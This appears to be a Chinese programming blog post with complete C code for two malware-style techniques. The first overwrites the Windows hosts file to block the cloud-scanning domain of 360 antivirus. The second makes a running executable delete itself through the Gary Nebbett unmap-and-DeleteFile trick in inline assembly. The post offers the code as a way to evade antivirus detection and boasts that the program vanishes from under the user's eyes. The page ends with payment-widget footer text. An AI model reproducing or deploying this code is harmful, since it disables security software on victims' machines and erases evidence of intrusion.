VC也疯狂一:过360云查杀之host也来插一脚加自删除

 
不多说,上代码。


//By:洪流
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/subsystem:windows")
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"MSVCRT.lib")
#pragma comment(linker,"/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078")

int AntiYunScan()
{
   char host[MAX_PATH];
   GetSystemDirectory(host,MAX_PATH);   //得到host目录,免疫杀毒软件
   strcat(host,"\\drivers\\etc\\hosts");  
   SetFileAttributes(host,FILE_ATTRIBUTE_NORMAL);
   FILE *file;
   file=fopen(host,"w");//以写入的方式打开文件,"w"--write
   char mianyi[MAX_PATH]=
     "127.0.0.1 localhost\r\n"
     "127.0.0.1 qup.f.360.cn\r\n";
   fputs(mianyi,file);
   fclose(file);//关闭文件
   return 0;
}

void Torrent()
{
   AntiYunScan();
   ExitProcess(0);
}
 

#include "windows.h"

int main(int argc, char *argv[])
{
char buf[MAX_PATH];
HMODULE module;

module = GetModuleHandle(0);
GetModuleFileName(module, buf, MAX_PATH);
CloseHandle((HANDLE)4);

__asm
{
lea eax, buf
push 0
push 0
push eax
push ExitProcess
push module
push DeleteFile
push UnmapViewOfFile
ret
}

return 0;
}

试试编译它,运行。怎么样?从你的眼皮底下消失了吧?是不是很神奇?

Gary Nebbett 钻了系统的一个漏洞,他的程序是关闭了 exe 文件的 IMAGE(硬编码为4),然后用 UnmapViewOfFile 解除了 exe 文件在内存中的映象,接着通过堆栈传递当前程序的 Handle 给 DeleteFile() ,实现了程序的自删除。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值